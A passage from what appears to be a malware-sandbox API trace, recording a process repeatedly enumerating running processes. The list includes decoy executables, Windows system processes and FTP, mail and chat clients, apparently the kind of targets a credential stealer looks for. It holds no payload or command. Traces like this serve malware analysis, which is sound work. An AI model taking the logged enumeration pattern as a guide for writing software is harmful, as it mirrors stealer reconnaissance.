th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0243.494] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0243.496] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0243.497] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0243.499] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0243.501] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0243.504] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0243.506] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0243.508] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0243.510] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0243.512] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0243.561] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0243.562] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0243.564] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0243.566] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0243.568] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0243.569] CloseHandle (hObject=0x13b0) returned 1 [0243.569] Sleep (dwMilliseconds=0x64) [0243.614] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13b0 [0243.627] Process32First (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0243.631] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0243.632] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0243.634] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0243.635] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0243.637] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0243.638] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0243.639] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0243.641] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0243.642] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.643] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.693] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0243.696] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.698] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.700] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.702] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.704] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.706] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.708] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.710] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0243.712] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0243.714] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0243.716] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.717] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0243.719] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0243.720] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0243.723] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0243.724] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.726] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0243.728] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0243.773] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0243.775] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0243.777] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0243.779] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0243.781] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0243.783] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0243.786] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0243.788] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0243.790] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0243.792] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0243.794] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0243.796] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0243.798] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0243.800] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0243.802] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0243.804] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0243.806] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0243.807] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0243.850] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0243.852] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0243.854] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0243.856] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0243.858] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0243.860] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0243.862] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0243.864] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0243.866] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0243.868] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0243.871] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0243.873] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0243.875] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0243.878] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0243.880] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0243.882] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0243.885] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0243.887] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0243.928] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0243.930] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 